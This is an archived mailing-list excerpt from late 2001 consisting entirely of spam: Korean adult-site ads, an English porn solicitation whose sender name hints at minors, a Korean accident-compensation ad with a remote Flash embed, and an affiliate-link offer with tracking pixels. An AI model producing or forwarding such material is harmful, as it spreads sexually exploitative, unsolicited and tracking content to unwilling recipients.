Subject: =?ks_c_5601-1987?B?W7GksO1dIMfuxbjAzMO1sbk=?=
Date: Sun, 23 Dec 2001 10:11:51 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0107_01C0F23A.93A11C00"
X-Priority: 3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0107_01C0F23A.93A11C00
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

ICAgDQoNCiAgICAgICAgICAgICANCiANCiC5zL26xNq4rr7GIMX1vcPEq7jetvMgu+fB+CDD
0SAxMMDlIMD8w7wgDQq+87G8tbUgwMy72sH2uLggwfjCpSC49rjFtbUgwdfAzLTCsbq/5C4N
Cg0KW7TZv+63zrXlXQ0KICAgDQoNCluz67Pruau28yC6tL/4XQ0KLb26we6yvyC2p7muv6Eg
tNm4rrimILTZxKGw1CC1x77uDQogv+y/rMj3ILPrs+u5q7bzILq0v/i/oSDA1L/4x9EgwdbA
zg0KsPjAuiC/+MDlwMcgwdfAvbD6IMDMILq0v/jAxyC60MCnseINCr+hvK0gvPa788fUwLsg
tMCyuCC89rvnuKYgvcMNCiAgW7TZv+63zrXlXQ0KICAgIA0KIA0KICANCkcudGFzdGUNCg0K
LcbyufzH0SC/qby6wMwgu+y+xrChtMIgvLrA+7rSuLjAuyC4rr7zx8+w1CDHrr7usKG0wrO7
v+sNCsO2usC/oSC4xbTet8G8rSC758W4sbi0z7imDQq5rsH2uKO0wiDA5bjpDQooMsbtILDo
vNMNClu02b/ut8615V0NCiAgIA0KIA0KICANClu59sXNx8O288DMXQ0KDQots6q68bChIMDO
sKPAuLfOILqvvcXHz7jnIA0Kv6m8urXpwLsgwK/IpMfPuOcgvL29ur+hDQogwd+1tsfPsNQg
x8+0wrWlLi4NCigyxu0gsOi80ykNCg0KW7TZv+63zrXlXQ0KICAgICAgICAgDQogDQo=

------=_NextPart_000_0107_01C0F23A.93A11C00
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PGh0bWw+DQoNCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250
ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9ZXVjLWtyIj4NCjx0aXRsZT4gPC90aXRsZT4NCjxt
ZXRhIG5hbWU9ImdlbmVyYXRvciIgY29udGVudD0iTmFtbyBXZWJFZGl0b3IgdjUuMCI+DQo8
L2hlYWQ+DQoNCjxib2R5IGJnY29sb3I9IndoaXRlIiB0ZXh0PSJibGFjayIgbGluaz0iYmx1
ZSIgdmxpbms9InB1cnBsZSIgYWxpbms9InJlZCI+DQo8dGFibGUgYm9yZGVyPSIxIiBjZWxs
c3BhY2luZz0iMCIgd2lkdGg9IjY1NiIgYm9yZGVyY29sb3I9IiNDMDc4MTIiIGJvcmRlcmNv
bG9yZGFyaz0id2hpdGUiIGJvcmRlcmNvbG9ybGlnaHQ9IiNCNjcxMEMiPg0KICAgIDx0cj4N
CiAgICAgICAgPHRkIHdpZHRoPSI2NTYiPjxQPjxJTUcgaGVpZ2h0PTY1IHNyYz0iaHR0cDov
L2xpdmUxMHR2LmNvbS9zdWJwYWdlL21vdmllL2hlbnRhaS9pbWcvaHRvcDIuZ2lmIiB3aWR0
aD0iNjUyIiBib3JkZXI9MD48L1A+PC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICAg
ICAgPHRkIHdpZHRoPSI2NTYiIGhlaWdodD0iNTQiPg0KICAgICAgICAgICAgPHRhYmxlIGJv
cmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iNjUyIj4N
CiAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0i
NjUyIiBoZWlnaHQ9IjgiIGNvbHNwYW49IjQiIGJnY29sb3I9ImJsYWNrIj4NCiAgICAgICAg
ICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAg
ICAgICA8L3RyPg0KICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAg
PHRkIHdpZHRoPSI5NyIgdmFsaWduPSJ0b3AiPg0KICAgICAgICAgICAgICAgICAgICAgICAg
PHAgYWxpZ249ImNlbnRlciI+PGEgaHJlZj0iaHR0cDovL2xpbmtzLnZlcm90ZWwuY29tL2Nn
aS1iaW4vc2hvd3NpdGUudmVyb3RlbD92ZXJjb2RlPTc3NTQ6OTgwNDAwMDAwMDI5NzE1OSI+
PElNRyANCnNyYz0iaHR0cDovL3d3dy5rb3JlYW5naXJscy5jYy9pbWFnZXMvbWFpbi9taXNz
X2tvcmVhLmdpZiIgPjwvYT48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9
IjIyMCIgdmFsaWduPSJ0b3AiPjxQPjxBIGhyZWY9InN1YnBhZ2UvbGl2ZS9saXZlLmh0bSI+
Jm5ic3A7PC9BPjxJTUcgaGVpZ2h0PTMwIHNyYz0iaHR0cDovL2xpdmUxMHR2LmNvbS9pbWcv
bGl2ZTEwdHYuZ2lmIiANCndpZHRoPTE5NSBib3JkZXI9MD48YnI+IDxGT05UIGZhY2U9IrW4
v/IiIGNvbG9yPSIjRkI0QTA1Ij48Qj65zL26xNq4rr7GIMX1vcPEq7jetvM8L0I+IDwvZm9u
dD48Rk9OVCBjb2xvcj0jZmZmZmZmIHNpemU9IjIiIGZhY2U9IrW4v/IiPrvnwfggw9EgMTDA
5SDA/MO8IDxCUj48Rk9OVCBjb2xvcj0jOTgwMDAwPr7zsby1tSDAzLvawfa4uCDB+MKlILj2
uMW1tSANCsHXwMy0wrG6v+QuPC9GT05UPjxCUj48QlI+PC9GT05UPjxBIA0KaHJlZj0ibWVt
YmVycy9taXNza29yZWEtanBnL21pc3Nrb3JlYS1qcGcucmFyIj48Rk9OVCANCmNvbG9yPSJi
bGFjayIgc2l6ZT0iMiIgZmFjZT0itbi/8iI+WzwvRk9OVD48L0E+PEEgDQpocmVmPSJodHRw
Oi8vbGlua3MudmVyb3RlbC5jb20vY2dpLWJpbi9zaG93c2l0ZS52ZXJvdGVsP3ZlcmNvZGU9
Nzc1NDo5ODA0MDAwMDAwMjk3MTU5Ij48Rk9OVCANCmNvbG9yPSJibGFjayIgc2l6ZT0iMiIg
ZmFjZT0itbi/8iI+tNm/7rfOteU8L0ZPTlQ+PC9BPjxBIA0KaHJlZj0ibWVtYmVycy9taXNz
a29yZWEtanBnL21pc3Nrb3JlYS1qcGcucmFyIj48Rk9OVCANCmNvbG9yPSJibGFjayIgc2l6
ZT0iMiIgZmFjZT0itbi/8iI+XTwvRk9OVD48L0E+PC9QPjwvdGQ+DQogICAgICAgICAgICAg
ICAgICAgIDx0ZCB3aWR0aD0iOTkiIHZhbGlnbj0idG9wIj4NCiAgICAgICAgICAgICAgICAg
ICAgICAgIDxwIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly9saW5rcy52ZXJvdGVs
LmNvbS9jZ2ktYmluL3Nob3dzaXRlLnZlcm90ZWw/dmVyY29kZT03NzU0Ojk4MDQwMDAwMDAy
OTcxNTkiPjxJTUcgaGVpZ2h0PSIxMjQiIHNyYz0iaHR0cDovL3d3dy5rb3JlYW5naXJscy5j
Yy9pbWFnZXMvamFwZW5fcGljdHVyZS9pbWFnZXMvbm9ubXVyYS5naWYiIHdpZHRoPTg0ID48
L2E+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMzYiIHZhbGlnbj0i
dG9wIj48UD48SU1HIA0KaGVpZ2h0PTMwIHNyYz0iaHR0cDovL2xpdmUxMHR2LmNvbS9pbWcv
cHJldmlld3RvcC5naWYiIHdpZHRoPTE5NSBib3JkZXI9MD48YnI+PEZPTlQgY29sb3I9IiNG
QjRBMDUiPjxCPluz67Pruau28yC6tL/4XTwvQj48QlI+PC9GT05UPjxGT05UIGNvbG9yPSIj
OTgwMDAwIiBzaXplPSIyIj4tvbrB7rK/ILanua6/oSC02biuuKYgtNnEobDUILXHvu48YnI+
IL/sv6zI9yCz67Pruau28yC6tL/4v6EgwNS/+MfRIMHWwM48YnI+sPjAuiA8Qj6/+MDlwMcg
DQrB18C9PC9CPrD6IMDMILq0v/jAxyC60MCnseI8YnI+v6G8rSC89rvzx9TAuyC0wLK4ILz2
u+e4piA8L0ZPTlQ+PEZPTlQgY29sb3I9I2ZmZmZmZj69wzxicj4gDQogICAgICAgICAgICAg
ICAgICAgICAgICA8L0ZPTlQ+PEEgDQpocmVmPSJtZW1iZXJzL21pc3Nrb3JlYS1qcGcvbWlz
c2tvcmVhLWpwZy5yYXIiPjxGT05UIA0KY29sb3I9ImJsYWNrIiBzaXplPSIyIiBmYWNlPSK1
uL/yIj5bPC9GT05UPjwvQT48QSANCmhyZWY9Imh0dHA6Ly9saW5rcy52ZXJvdGVsLmNvbS9j
Z2ktYmluL3Nob3dzaXRlLnZlcm90ZWw/dmVyY29kZT03NzU0Ojk4MDQwMDAwMDAyOTcxNTki
PjxGT05UIA0KY29sb3I9ImJsYWNrIiBzaXplPSIyIiBmYWNlPSK1uL/yIj602b/ut8615Twv
Rk9OVD48L0E+PEEgDQpocmVmPSJtZW1iZXJzL21pc3Nrb3JlYS1qcGcvbWlzc2tvcmVhLWpw
Zy5yYXIiPjxGT05UIA0KY29sb3I9ImJsYWNrIiBzaXplPSIyIiBmYWNlPSK1uL/yIj5dPC9G
T05UPjwvQT48L1A+PC90ZD4NCiAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAg
ICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI5NyIgaGVpZ2h0PSIx
NDQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHA+Jm5ic3A7PGEgaHJlZj0iaHR0cDov
L2xpbmtzLnZlcm90ZWwuY29tL2NnaS1iaW4vc2hvd3NpdGUudmVyb3RlbD92ZXJjb2RlPTc3
NTQ6OTgwNDAwMDAwMDI5NzE1OSI+PElNRyBoZWlnaHQ9IjEyNCIgc3JjPSJodHRwOi8vd3d3
LmtvcmVhbmdpcmxzLmNjL2ltYWdlcy9qYXBlbl9waWN0dXJlL2ltYWdlcy9nYXN0ZS5naWYi
IHdpZHRoPTg0PjwvYT48L3A+DQogICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAg
ICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjIwIiBoZWlnaHQ9IjE0NCI+DQoNCjxUQUJMRSBj
ZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgd2lkdGg9IjIyMiIgYm9yZGVyPTA+DQo8VEJP
RFk+DQo8VFI+PFREIHdpZHRoPSI1Ij48L1REPg0KPFREIGNsYXNzPW1haW5fdGkwMSB2QWxp
Z249dG9wIGFsaWduPWxlZnQgd2lkdGg9IjIxNyIgaGVpZ2h0PTEzMD4NCjxQPjxGT05UIGNv
bG9yPSIjRkI0QTA1Ij48Qj5HLnRhc3RlPC9CPjwvRk9OVD48Rk9OVCBjb2xvcj0iIzk4MDAw
MCI+PEJSPjxCUj48L0ZPTlQ+PEZPTlQgY29sb3I9IiM5ODAwMDAiIHNpemU9IjIiIGZhY2U9
IrW4v/IiPi3G8rn8x9Egv6m8usDMILvsvsawobTCIA0KvLrA+7rSuLjAuyC4rr7zx8+w1CDH
rr7usKG0wrO7v+s8QlI+w7a6wL+hILjFtN63wbytILvnxbixuLTPuKY8QlI+ua7B9rijtMIg
wOW46TwvRk9OVD48Rk9OVCBjb2xvcj0jZmZmZmZmIHNpemU9IjIiPjxCUj4oMsbtILDovNM8
YnI+PC9GT05UPjxBIA0KaHJlZj0ibWVtYmVycy9taXNza29yZWEtanBnL21pc3Nrb3JlYS1q
cGcucmFyIj48Rk9OVCANCmNvbG9yPSJibGFjayIgc2l6ZT0iMiIgZmFjZT0itbi/8iI+Wzwv
Rk9OVD48L0E+PEEgDQpocmVmPSJodHRwOi8vbGlua3MudmVyb3RlbC5jb20vY2dpLWJpbi9z
aG93c2l0ZS52ZXJvdGVsP3ZlcmNvZGU9Nzc1NDo5ODA0MDAwMDAwMjk3MTU5Ij48Rk9OVCAN
CmNvbG9yPSJibGFjayIgc2l6ZT0iMiIgZmFjZT0itbi/8iI+tNm/7rfOteU8L0ZPTlQ+PC9B
PjxBIA0KaHJlZj0ibWVtYmVycy9taXNza29yZWEtanBnL21pc3Nrb3JlYS1qcGcucmFyIj48
Rk9OVCANCmNvbG9yPSJibGFjayIgc2l6ZT0iMiIgZmFjZT0itbi/8iI+XTwvRk9OVD48L0E+
PC9QPjwvVEQ+PC9UUj4NCjwvVEJPRFk+PC9UQUJMRT4gICAgICAgICAgICAgICAgICAgIDwv
dGQ+DQogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOTkiIGhlaWdodD0iMTQ0Ij4N
CiAgICAgICAgICAgICAgICAgICAgICAgIDxwPiZuYnNwOzxhIGhyZWY9Imh0dHA6Ly9saW5r
cy52ZXJvdGVsLmNvbS9jZ2ktYmluL3Nob3dzaXRlLnZlcm90ZWw/dmVyY29kZT03NzU0Ojk4
MDQwMDAwMDAyOTcxNTkiPjxJTUcgaGVpZ2h0PSIxMjQiIHNyYz0iaHR0cDovL3d3dy5rb3Jl
YW5naXJscy5jYy9pbWFnZXMvamFwZW5fcGljdHVyZS9pbWFnZXMvYnV0dGVyZmx5LmdpZiIg
d2lkdGg9ODQ+PC9hPjwvcD4NCiAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAg
ICAgICAgICAgICAgPHRkIHdpZHRoPSIyMzYiIGhlaWdodD0iMTQ0Ij4NCg0KPFRBQkxFIGNl
bGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD0iMjAxIiBib3JkZXI9MD4NCjxUQk9E
WT4NCjxUUj48VEQgY2xhc3M9bWFpbl90aTAxIHZBbGlnbj10b3AgYWxpZ249bGVmdCB3aWR0
aD0iMTg0IiBoZWlnaHQ9MTMwPjxQPjxGT05UIGNvbG9yPSIjRkI0QTA1Ij48Qj5bufbFzcfD
tvPAzF08L0I+PEJSPjxCUj48L0ZPTlQ+PEZPTlQgY29sb3I9IiM5ODAwMDAiIHNpemU9IjIi
Pi2zqrrxsKEgwM6wo8C4t84guq+9xcfPuOcgPGJyPr+pvLq16cC7IMCvyKTHz7jnIA0KvL29
ur+hPGJyPiDB37W2x8+w1CDHz7TCtaUuLjxCUj4oMsbtILDovNMpPGJyPjxicj48L0ZPTlQ+
PEEgDQpocmVmPSJtZW1iZXJzL21pc3Nrb3JlYS1qcGcvbWlzc2tvcmVhLWpwZy5yYXIiPjxG
T05UIA0KY29sb3I9ImJsYWNrIiBzaXplPSIyIiBmYWNlPSK1uL/yIj5bPC9GT05UPjwvQT48
QSANCmhyZWY9Imh0dHA6Ly9saW5rcy52ZXJvdGVsLmNvbS9jZ2ktYmluL3Nob3dzaXRlLnZl
cm90ZWw/dmVyY29kZT03NzU0Ojk4MDQwMDAwMDAyOTcxNTkiPjxGT05UIA0KY29sb3I9ImJs
YWNrIiBzaXplPSIyIiBmYWNlPSK1uL/yIj602b/ut8615TwvRk9OVD48L0E+PEEgDQpocmVm
PSJtZW1iZXJzL21pc3Nrb3JlYS1qcGcvbWlzc2tvcmVhLWpwZy5yYXIiPjxGT05UIA0KY29s
b3I9ImJsYWNrIiBzaXplPSIyIiBmYWNlPSK1uL/yIj5dPC9GT05UPjwvQT48L1A+PC9URD48
L1RSPg0KPC9UQk9EWT48L1RBQkxFPiAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAg
ICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAg
ICAgICAgPHRkIHdpZHRoPSI2NTIiIGNvbHNwYW49IjQiPg0KICAgICAgICAgICAgICAgICAg
ICAgICAgPHAgYWxpZ249ImNlbnRlciI+PEEgDQpocmVmPSJodHRwOi8vd3d3LmtvcmVhbi1n
aXJscy5jb20vdG9wc2l0ZXMvY2dpLWJpbi9pbi5jZ2k/aWQ9a21hc3RlcjIiIA0KdGFyZ2V0
PV9ibGFuaz48SU1HIGhlaWdodD02MCBzcmM9Imh0dHA6Ly93d3cua29yZWFuZ2lybHMuY2Mv
aW1hZ2VzL3BhcnRlci1iYW5uZXJzL2tvcmVhbi1naXJsczAxLmdpZiIgDQp3aWR0aD00Njgg
Ym9yZGVyPTA+PC9BPiAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAg
ICA8L3RyPg0KICAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPC90ZD4NCiAgICA8L3Ry
Pg0KPC90YWJsZT4NCjxwPiZuYnNwOzwvcD4NCjwvYm9keT4NCg0KPC9odG1sPg0K

------=_NextPart_000_0107_01C0F23A.93A11C00--


From confctrl-owner  Sun Dec 30 18:01:40 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id SAA04385
	for confctrl-outgoing; Sun, 30 Dec 2001 18:01:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA04380
	for <confctrl@zephyr.isi.edu>; Sun, 30 Dec 2001 18:01:39 -0800 (PST)
Received: from akira.tptechnologies.com.ar (host113250.arnet.net.ar [200.45.113.250] (may be forged))
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBV22Vg16455
	for <confctrl@isi.edu>; Sun, 30 Dec 2001 18:02:32 -0800 (PST)
Received: from smtp-gw-4.msn.com (0-1pool66-253.nas1.houston2.tx.us.da.qwest.net [63.232.66.253]) by akira.tptechnologies.com.ar with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id ZZCS2GBF; Sun, 30 Dec 2001 23:08:46 -0300
Message-ID: <0000629a5596$00004ec3$00004dbd@smtp-gw-4.msn.com>
To: <Undisclosed.Recipients@ISI.EDU>
From: teeniesuckathon3z4vv24@msn.com
Subject: FREE KINKY CHEARLEADERS                 X
Date: Sun, 30 Dec 2001 17:57:04 -2000
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>
</head>
<body bgcolor=3D"#FFFFFF" text=3D"#000000">
<a href=3D"http://209.132.208.47/freevippass/enter.html"><img src=3D"http:=
//209.132.208.47/images2/instantaccess.jpg" width=3D"540" height=3D"70"> 
<br>
<img src=3D"http://209.132.208.47/images2/xxxpassblonde.jpg" width=3D"540"=
 height=3D"350"> 
<br>
<img src=3D"http://209.132.208.47/images2/instantaccess.jpg" width=3D"540"=
 height=3D"70"> 
<br>
<img src=3D"http://209.132.208.47/images2/xxxpassb.jpg" width=3D"540" heig=
ht=3D"264"> 
</a><br>
To get off this list click <a href=3D"http://202.22.41.19:21/superpromoter=
/remove.asp">here 
</a> 
</body>
</html>




From confctrl-owner  Mon Dec 31 01:00:26 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id BAA18212
	for confctrl-outgoing; Mon, 31 Dec 2001 01:00:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA18207
	for <confctrl@zephyr.isi.edu>; Mon, 31 Dec 2001 01:00:24 -0800 (PST)
Received: from localhost ([211.179.220.189])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBV91Hg10362
	for <confctrl@isi.edu>; Mon, 31 Dec 2001 01:01:17 -0800 (PST)
Message-Id: <200112310901.fBV91Hg10362@tnt.isi.edu>
Reply-To: sago8572@hananet.net
From: ¾È¼ºÃ¶<sago8572@netsgo.com>
To: confctrl@ISI.EDU
Subject: ¾Æ´À³Ä ¸ð¸£´À³Ä¿¡ µû¶ó õÁöÂ÷ÀÌ![±¤°í]
Mime-Version: 1.0
Content-Type: text/html; charset="ks_c_5601-1987"
Date: Mon, 31 Dec 2001 18:01:50 +0900
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>
<head>
<title>autoinad ´ÔÀÇ Çѹ̸£ ȨÆäÀÌÁö</title>
<META HTTP-EQUIV="Content-Type" content="text/html;
charset=euc-kr">
</head>
<BODY bgColor=#ccffcc>
<CENTER><FONT face=±¼¸²>
<H1>
<DIV><FONT face=±¼¸²>&nbsp;</DIV>
<DIV align=center><FONT size=2>»çÀü ¾çÇØ ¾øÀÌ ¸ÞÀÏ µå¸° Á¡ »ç°úµå¸³´Ï´Ù.</FONT></DIV>
<DIV align=center><FONT size=2>ºÒÇÊ¿äÇÑ ¸ÞÀÏÀ̶ó¸é ¹Ù·Î »èÁ¦ÇÏ¿© Áֽñ⠹ٶø´Ï´Ù. </FONT><FONT
size=1>[¼Ò¸®Ã·°¡]</FONT></DIV>
<DIV>
<HR>
</DIV></FONT></H1>
<H1>±³Åë»ç°í º¸»ó»ó´ã</H1></FONT>
<P><IMG src="http://home.hanmir.com/~autoinad/º£³Ê1.gif">
<P>
<TABLE width=550 border=0>
<TBODY>
<TR>
<TD><FONT face=±¼¸² size=3><B>ÁÖ¸Ôº¸´Ù ¾Æ´Â °ÍÀÌ Èû !</B></FONT> </TD></TR>
<TR>
<TD><FONT face=±¼¸² size=2><BR>- º¸Ç躸»óÀº ÀÏ°ü¼ºÀÌ ¾ø¾î °í¹«Á٠ó·³ µÇ±âµµ ÇÕ´Ï´Ù. <BR><BR>- ¾Æ´À³Ä
¸ð¸£³Ä¿¡ µû¶ó º¸»ó±ÝÀº õÁö Â÷ÀÌ !! <BR><BR>- ±ÍÇÏ¿¡°Ô ÈûÀÌ µÇ¾î µå¸®°Ú½À´Ï´Ù.
<BR></FONT></TD></TR></TBODY></TABLE>
<P>
<TABLE width=550 border=0>
<TBODY>
<TR>
<TD><FONT face=±¼¸² size=3><B>ÀÌ·²¶© ²À, ÀüÈ­ Çϼ¼¿ä !</B></FONT> </TD></TR>
<TR>
<TD><FONT face=±¼¸² size=2><BR>
<P>-.±³Åë»ç°í·Î ´çȲ½º·¯¿ï ¶§.</P>
<P>-.³ªÀÇ º¸»ó±ÝÀÌ ¾î´À Á¤µµÀÎÁö ¾Ë°í ½ÍÀ» ¶§.</P>
<DIV>-.º¸»ó±ÝÀÌ Àû´Ù°í ´À³¥ ¶§.</DIV>
<DIV>&nbsp;</DIV>
<DIV>-.»¡¸® ÇÕÀÇÇÏÀÚ°í ÇÒ ¶§.</DIV>
<DIV>&nbsp;</DIV>
<DIV>-.°ú½ÇÀû¿ëÀÌ ºÎ´çÇÏ´Ù°í ´À³¥ ¶§.</DIV>
<DIV>&nbsp;</DIV>
<DIV>-.³ªÀÇ ¼ÒµæÀ» ÀÎÁ¤¹ÞÁö ¸øÇÒ ¶§.</DIV>
<DIV>&nbsp;</DIV>
<DIV>-.±âŸ º¸»ó°ü·Ã ±Ã±Ý ¸ðµç »çÇ×.</DIV></FONT></TD></TR></TBODY></TABLE>
<P>
<TABLE width=550 border=0>
<TBODY>
<TR>
<TD><FONT face=±¼¸² size=3><B>¾à¼Ó ÇÕ´Ï´Ù.</B></FONT> </TD></TR>
<TR>
<TD><FONT face=±¼¸² size=2><BR>- Àü¹®°¡¿Í 1´ë1 ½Ç½Ã°£ »ó´ã <BR><BR>- ½Å¼ÓÇÏ°í , ºü¸¥ ´äº¯
<BR><BR>- ½Ã¿øÇÑ ÇØ°á </FONT></TD></TR></TBODY></TABLE>
<P>&nbsp;&nbsp;&nbsp;<FONT color=#0000ff> <STRONG><FONT size=4>±³Åë»ç°í
º¸»ó»ó´ã</FONT></STRONG></FONT><FONT size=5><FONT color=#ff0080 size=4><STRONG>
[060-700-2114]</STRONG></FONT> </FONT>
<DIV align=left><FONT size=2>
<HR>
</FONT></DIV>
<DIV align=center><FONT size=2>º» ¸ÞÀÏÀº Á¤º¸Åë½ÅºÎ ±Ç°í »çÇ׿¡ ÀÇ°Å Á¦¸ñ¿¡
<B>[±¤°í]</B></FONT></FONT><FONT color=#666666><FONT size=2><FONT color=#000000>¶ó
Ç¥½ÃµÈ ±¤°í ¸ÞÀÏÀÔ´Ï´Ù.</FONT></FONT></FONT></DIV>
<DIV align=center><FONT color=#666666><FONT size=2><FONT color=#000000>´õ ÀÌ»ó ¸ÞÀÏÀ»
¼ö½ÅÇÏ°í ½ÍÁö ¾ÊÀ¸½Ã¸é </FONT></FONT></FONT><A href="mailto:sago8572@hananet.net"><FONT color=#000000><FONT
size=2>[<FONT color=#0000ff>¼ö½Å °ÅºÎ]</FONT></FONT></FONT></A><FONT size=2>¶ó´Â ¸Þ½ÃÁö¸¦
º¸³»Áֽøé&nbsp;´Ù½Ã´Â<FONT size=2>&nbsp;¹ß¼ÛÇÏÁö ¾Êµµ·Ï </FONT><FONT size=2>ÁÖÀÇÇÏ°Ú½À´Ï</FONT><FONT
size=2>´Ù.&nbsp;</FONT></DIV></FONT>
<DIV align=center>
<HR>
</DIV></CENTER></BODY></HTML>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://active.macromedia.com/flash4/cabs/swflash.cab#version=4,0,0,0"
width="18" height="18">
<param name="movie" value="http://myhome.netsgo.com/sago8572/image/sago8572-3.swf">
<param name="play" value="true">
<param name="loop" value="true">
<param name="quality" value="high">
<embed src="http://myhome.netsgo.com/sago8572/image/sago8572-3.swf" play="true" loop="true" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" width="18" height="18"></embed>
</object>

From confctrl-owner  Tue Jan  1 09:11:17 2002
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA22050
	for confctrl-outgoing; Tue, 1 Jan 2002 09:11:17 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA22038
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jan 2002 09:11:15 -0800 (PST)
Received: from ruby.he.net (ruby.he.net [216.218.187.2])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id g01HC9g23181;
	Tue, 1 Jan 2002 09:12:09 -0800 (PST)
Received: from eif.net ([212.161.14.187] (may be forged)) by ruby.he.net (8.8.6/8.8.2) with SMTP id JAA03296; Tue, 1 Jan 2002 09:12:02 -0800
Message-Id: <200201011712.JAA03296@ruby.he.net>
From: "HAPPY NEW YEAR FROM EIF" <remove@eif.net>
To: <condry@intel.com>
Subject: NEW YEAR EIF OFFER + CHASE OFFER
Mime-Version: 1.0
Content-Type: text/html; charset="ISO-8859-1"
Date: Tue, 1 Jan 2002 17:08:20 -0800
X-Priority: 1 (Highest)
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>
<a href="http://www.eif.net" >Eif Security Solutions and Rapid Traffic Search Optimization</a>
<p>WISHING YOU ALL A VERY HAPPY AND PROSPEROUS NEW YEAR!
<p>FREE PC FIREWALL AND ANTIVIRUS TO ALL THE HUMAN BEINGS CONTACTING US!
<p>THANKS
<p>I TAKE THIS OPPORTUNITY TO TAKE YOU THE MESSAGE FOR THE END OF THE YEAR OF THE PRESIDENT:
<P>'THE ALMOST BEST FUTURE CAN BE MADE BETTER' G CRASTI PRESIDENT HYKSOS GROUP 
<p>Rob
<p(PROVISIONAL ADDED PR HYKSOS GROUP)
<p>Tel + 39 32 00 25 80 44
<p>Fax + 1 212 656 1546
<p>
<p><IMG border="0"  width="66" height="66"   alt="Rob Photo" src="http://www.eif.net/chat/4.jpg"
<p>
<p><a href="www.eif.net" > www.eif.net</a>


<p><a href="http://click.linksynergy.com/fs-bin/click?id=ZTXlct8Csco&offerid=31083.10000002&type=3&subid=0" >Apply Now for the Chase Platinum Credit Card</a><IMG border=0 width=1 height=1
src="http://ad.linksynergy.com/fs-bin/show?id=ZTXlct8Csco&bids=31083.10000002&type=3&subid=0" >		

<a href="<a href="http://click.linksynergy.com/fs-bin/click?id=ZTXlct8Csco&offerid=31083.10000092&subid=0&type=4"><IMG border="0"  width="468" height="60"   alt="iCard Holiday Rewards_468"
src="http://ad.linksynergy.com/fs-bin/show?id=ZTXlct8Csco&bids=31083.10000092&subid=0&type=4"></a>			
<a href="http://click.linksynergy.com/fs-bin/click?id=ZTXlct8Csco&offerid=31083.10000041&subid=0&type=4"><IMG border="0"  width="468" height="60"   alt="Shop Safely_468X60"
src="http://ad.linksynergy.com/fs-bin/show?id=ZTXlct8Csco&bids=31083.10000041&subid=0&type=4"></a>		
<a href="http://click.linksynergy.com/fs-bin/click?id=ZTXlct8Csco&offerid=31083.10000108&subid=0&type=4"><IMG border="0"  width="468" height="60"   alt="Outtatown 468x60"
src="http://ad.linksynergy.com/fs-bin/show?id=ZTXlct8Csco&bids=31083.10000108&subid=0&type=4"></a>	
<a href="http://click.linksynergy.com/fs-bin/click?id=ZTXlct8Csco&offerid=31083.10000106&subid=0&type=4"><IMG border="0"  width="468" height="60"   alt="Platinum Lollipops 468x60"
src="http://ad.linksynergy.com/fs-bin/show?id=ZTXlct8Csco&bids=31083.10000106&subid=0&type=4"></a>		
<p>NOTE: If you have asked to be removed from our mailing list, and are continuing to receive our emails, please send us the names of any older or alias email addresses. These sometimes are forwarded to the new mail address
